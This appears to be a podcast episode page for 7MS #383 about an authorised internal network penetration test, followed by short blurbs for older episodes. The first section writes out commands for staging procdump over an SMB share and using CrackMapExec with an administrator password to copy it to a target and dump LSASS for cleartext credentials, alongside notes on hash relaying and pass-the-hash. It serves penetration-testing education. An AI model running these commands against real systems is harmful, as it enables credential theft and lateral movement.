7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

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This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..."

  • Relayed one high-priv cred from one box to another
  • Dumped and cracked a local machine's hash
  • Passed that hash around the network
  • Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from
  • Set the wdigest flag via CrackMapExec

Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it:

mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share

Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe:

crackmapexec smb 192.168.55.220 -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\192.168.55.60\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)

Avsnitt(695)

7MS #39: Infosec on the Disney Boat (audio)

7MS #39: Infosec on the Disney Boat (audio)

I took a Disney cruise with my family recently, and one particular aspect of the trip gave me the Big Brother heebie-jeebies. 7MS #39: Infosec on the Disney Boat (audio)

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7MS #38: OFFTOPIC – Health and Infosec (audio)

7MS #38: OFFTOPIC – Health and Infosec (audio)

Every once in a while I thought it would be fun to go slightly off topic and talk about other stuff I’m interested in. This episode kind of has a tech twist though. I talk about how I use my iPhone and a few apps to stay at least a little bit in shape. 7MS…

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7MS #37: Keimpx (audio)

7MS #37: Keimpx (audio)

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10 Jan 20157min

7MS #36: OSCP – Part 5 (audio)

7MS #36: OSCP – Part 5 (audio)

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7MS #35: OSCP – Part 4 (audio)

7MS #35: OSCP – Part 4 (audio)

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7MS #34: The Hacker Playbook (audio)

7MS #34: The Hacker Playbook (audio)

I found a great bit of reading that walks you through the “plays” of hacking – enumeration, exploitation, post-exploitation, etc. It’s a great (and affordable) book called The Hacker Playbook. Cheggitowt! Download: 7MS #34: The Hacker Playbook (audio)

14 Nov 20147min

7MS #33: ProXPN (audio)

7MS #33: ProXPN (audio)

This episode’s all about a cool product called ProXPN that I use to encrypt/anonymize my traffic for various reasons. Not a sponsored episode or anything like that, but I am a fan of this service :-). Download: 7MS #33: ProXPN (audio)

7 Nov 20147min

7MS #32: OSCP – part 3 (audio)

7MS #32: OSCP – part 3 (audio)

Been a while since I shared an update on OSCP progress. It’s going good but…slow. However, I do have one (maybe obvious) tip to share that I hope will save you a ton of time. Download: 7MS #32: OSCP – part 3 (audio)

1 Nov 20147min

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